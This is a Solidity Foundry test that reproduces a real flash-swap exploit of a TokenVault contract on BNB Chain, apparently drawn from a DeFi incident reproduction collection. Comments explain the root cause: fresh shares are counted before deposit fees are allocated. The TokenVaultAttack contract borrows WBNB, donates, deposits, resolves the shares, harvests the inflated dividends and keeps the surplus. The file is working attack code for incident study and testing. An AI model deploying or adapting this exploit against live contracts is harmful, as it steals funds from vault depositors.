src/test/2025-06/TokenVault_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 3,226.51 USD
8// Attacker : 0xc49F2938327aa2cDc3F2f89Ed17b54B3671F05DE
9// Attack Contract : 0x96cFc7fd01fCF3A3b6eE4891b4D2B7e0A951AD70
10// Vulnerable Contract : 0x5b68EfE78D9951a8C347A5Dc807998c40934CD14
11// Attack Tx : https://bscscan.com/tx/0x3de562f2fdaeb379ccbe8d244a56189db2a0f91410cd0f464274e51e4518e555
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x5b68EfE78D9951a8C347A5Dc807998c40934CD14#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1325
18//
19// Attack summary: the attacker borrowed WBNB from the Pancake WBNB/USDT pair, donated WBNB into the
20// TokenVault drip pool, deposited WBNB into the vault, resolved the fresh shares, harvested the resulting
21// WBNB dividends, repaid the flash swap, and kept the remaining WBNB.
22// Root cause: TokenVault adds freshly deposited shares before allocating deposit fees and also lets a
23// same-transaction holder resolve then harvest against existing drip/fee accounting. A temporary WBNB
24// position can therefore receive more WBNB from the vault than the donated/deposited principal.
25// Related incident: BUSD TokenVault tx
26// https://bscscan.com/tx/0x00e5c8e39eece020ad21d965402d2f9248f0a6ab62030830b12f9823c2b6d763
27 
28address constant ATTACKER = 0xc49F2938327aa2cDc3F2f89Ed17b54B3671F05DE;
29address constant WBNB_USDT_PAIR = 0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE;
30address constant TOKEN_VAULT = 0x5b68EfE78D9951a8C347A5Dc807998c40934CD14;
31address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
32address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
33 
34uint256 constant FLASH_WBNB_AMOUNT = 4 ether;
35uint256 constant DONATE_AMOUNT = 2 ether;
36uint256 constant DEPOSIT_AMOUNT = 1_114_100_000_000_000_000;
37uint256 constant HISTORICAL_SHARE_BALANCE = 1_002_690_000_000_000_000;
38uint256 constant HARVESTED_WBNB = 8_108_136_659_505_117_400;
39uint256 constant FLASH_WBNB_REPAY = 4_010_400_000_000_000_000;
40uint256 constant HISTORICAL_PROFIT = 4_983_636_659_505_117_400;
41 
42interface ITokenVault1325 {
43    function donate(
44        uint256 amount
45    ) external returns (uint256);
46    function depositTo(address user, uint256 amount) external returns (uint256);
47    function myTokens() external view returns (uint256);
48    function resolve(
49        uint256 amount
50    ) external;
51    function harvest() external;
52}
53 
54contract ContractTest is BaseTestWithBalanceLog {
55    function setUp() public {
56        // step 1: fork before the attack transaction and configure WBNB as the profit asset.
57        uint256 forkBlock = 51_783_614;
58        vm.createSelectFork("bsc", forkBlock);
59        vm.roll(51_783_615);
60        vm.warp(1_750_419_729);
61 
62        fundingToken = WBNB_TOKEN;
63        attacker = ATTACKER;
64 
65        vm.label(ATTACKER, "Attacker");
66        vm.label(WBNB_USDT_PAIR, "WBNB/USDT Pancake pair");
67        vm.label(TOKEN_VAULT, "TokenVault");
68        vm.label(WBNB_TOKEN, "WBNB");
69        vm.label(USDT_TOKEN, "USDT");
70    }
71 
72    function testExploit() public balanceLog {
73        // step 2: verify pair token ordering and capture balances before the flash swap.
74        assertEq(IPancakePair(WBNB_USDT_PAIR).token0(), USDT_TOKEN);
75        assertEq(IPancakePair(WBNB_USDT_PAIR).token1(), WBNB_TOKEN);
76 
77        uint256 pairWbnbBefore = IERC20(WBNB_TOKEN).balanceOf(WBNB_USDT_PAIR);
78        uint256 attackerWbnbBefore = IERC20(WBNB_TOKEN).balanceOf(ATTACKER);
79 
80        TokenVaultAttack attack = new TokenVaultAttack(ATTACKER);
81        // step 3: execute the attacker flow.
82        attack.execute();
83 
84        uint256 attackerProfit = IERC20(WBNB_TOKEN).balanceOf(ATTACKER) - attackerWbnbBefore;
85        // step 8: assert the trace-matched WBNB profit and pair repayment.
86        assertEq(attackerProfit, HISTORICAL_PROFIT);
87        assertEq(IERC20(WBNB_TOKEN).balanceOf(WBNB_USDT_PAIR), pairWbnbBefore + FLASH_WBNB_REPAY - FLASH_WBNB_AMOUNT);
88    }
89}
90 
91contract TokenVaultAttack is IPancakeCallee {
92    address private immutable profitReceiver;
93 
94    constructor(
95        address receiver
96    ) {
97        profitReceiver = receiver;
98    }
99 
100    function execute() external {
101        // step 4: borrow WBNB from the Pancake pair and enter pancakeCall.
102        IPancakePair(WBNB_USDT_PAIR).swap(0, FLASH_WBNB_AMOUNT, address(this), abi.encode(uint256(1)));
103        // step 7: forward remaining WBNB profit to the attacker.
104        IERC20(WBNB_TOKEN).transfer(profitReceiver, IERC20(WBNB_TOKEN).balanceOf(address(this)));
105    }
106 
107    function pancakeCall(address, uint256 amount0, uint256 amount1, bytes calldata) external override {
108        require(msg.sender == WBNB_USDT_PAIR, "unexpected pair");
109        require(amount0 == 0 && amount1 == FLASH_WBNB_AMOUNT, "unexpected flash amount");
110 
111        // step 5: donate and deposit WBNB so fresh shares join the same accounting round.
112        IERC20(WBNB_TOKEN).approve(TOKEN_VAULT, FLASH_WBNB_AMOUNT);
113 
114        ITokenVault1325(TOKEN_VAULT).donate(DONATE_AMOUNT);
115        ITokenVault1325(TOKEN_VAULT).depositTo(address(this), DEPOSIT_AMOUNT);
116 
117        uint256 shareBalance = ITokenVault1325(TOKEN_VAULT).myTokens();
118        require(shareBalance == HISTORICAL_SHARE_BALANCE, "unexpected shares");
119 
120        // step 6: resolve fresh shares, harvest inflated WBNB dividends, and repay the flash swap.
121        ITokenVault1325(TOKEN_VAULT).resolve(shareBalance);
122 
123        uint256 beforeHarvest = IERC20(WBNB_TOKEN).balanceOf(address(this));
124        ITokenVault1325(TOKEN_VAULT).harvest();
125        require(IERC20(WBNB_TOKEN).balanceOf(address(this)) - beforeHarvest == HARVESTED_WBNB, "unexpected harvest");
126 
127        IERC20(WBNB_TOKEN).transfer(WBNB_USDT_PAIR, FLASH_WBNB_REPAY);
128    }
129}